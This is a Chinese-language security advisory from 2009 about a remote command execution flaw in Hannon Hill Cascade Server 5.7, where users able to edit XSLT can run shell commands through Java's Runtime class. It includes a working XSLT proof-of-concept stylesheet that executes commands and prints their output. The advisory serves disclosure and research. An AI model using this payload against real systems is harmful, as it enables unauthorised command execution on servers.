安全研究

安全漏洞
Cascade Server XLST处理远程命令执行漏洞

发布日期:2009-03-19
更新日期:2009-03-20

受影响系统:
Hannon Hill Cascade Server 5.7
描述:
BUGTRAQ  ID: 34186

Cascade Server是一款功能强大的web内容管理(WCM)解决方案。

Cascade Server没有限制用户可访问的某些XSLT代码,任何可以编辑XSLT样式表的用户都可以导致Cascade Server执行任意Java代码。通过使用java.lang.Runtime类,Java可以运行shell命令。

尽管Cascade Server进程的权限级别还不足以完全控制主机系统,但可以控制Cascade Server。

<*来源:Bradley Wagner
  
  链接:http://marc.info/?l=bugtraq&m=123749289208091&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?xml version="1.0"?>
<xsl:stylesheet exclude-result-prefixes="java" version="1.0"
xmlns:bufferedreader="xalan://java.io.BufferedReader"
xmlns:inputstreamreader="xalan://java.io.InputStreamReader"
xmlns:java="http://xml.apache.org/xalan/java"
xmlns:process="xalan://java.lang.Process"
xmlns:runtime="xalan://java.lang.Runtime"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:variable name="runtime" select="runtime:getRuntime()"/>
  <xsl:template match="//command">
      <xsl:variable name="process" select="runtime:exec($runtime, string(.))"/>
      <xsl:variable name="inputstream" select="process:getInputStream($process)"/>
      <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/>
      <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/>
      <p>
        Output: <xsl:value-of select="bufferedreader:readLine($bufferedreader)"/><br/>
      </p>
  </xsl:template>
</xsl:stylesheet>

建议:
厂商补丁:

Hannon Hill
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.hannonhill.com/products/cascade-server/index.html

浏览次数:2511
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障